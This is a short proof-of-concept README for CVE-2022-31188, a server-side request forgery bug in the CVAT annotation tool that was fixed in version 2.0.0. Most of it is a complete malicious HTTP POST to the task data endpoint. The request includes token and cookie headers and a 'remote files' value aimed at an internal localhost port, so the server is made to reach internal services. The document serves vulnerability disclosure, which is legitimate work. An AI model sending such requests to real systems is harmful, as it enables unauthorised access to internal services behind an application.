CVE-2022-31188 PoC — Server-Side Request Forgery Vulnerability in Computer Vision Annotation Tool (CVAT)

Source

Associated Vulnerability

Description

CVE-2022-31188 - OpenCV CVAT (Computer Vision Annotation Tool) SSRF

Readme

# CVE-2022-31188
CVE-2022-31188 - OpenCV CVAT (Computer Vision Annotation Tool) SSRF

CVAT is an open source Computer Vision Annotation Tool developed by Intel. 
Any user with "Task Create" authorization can trigger the SSRF vulnerability by sending a malicious HTTP request and gaining access to other open ports on the system. 

The vulnerability was fixed with the 2.0.0 update of CVAT.

```http
POST /api/v1/tasks/2/data HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language:en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Token 06d88f739a10c7533991d8010761df721b790b7
X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGV
Content-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436
Content-Length: 569
Origin: http://localhost:8080
Connection: close
Referer:http://localhost:8080/tasks/create
Cookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dned
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="remote files[0]"

http://localhost:8081
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name=" image quality"

170
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use zip chunks"

true
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use cache"

true
-----------------------------251652214142138553464236533436--
```

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## References
- https://nvd.nist.gov/vuln/detail/CVE-2022-31188
- https://github.com/opencv/cvat/security/advisories/GHSA-69qq-p6vh-xjqj

----------------------------------------------------------------------------------------------------
Author: Emir Polat

Twitter: https://twitter.com/devilsgrins

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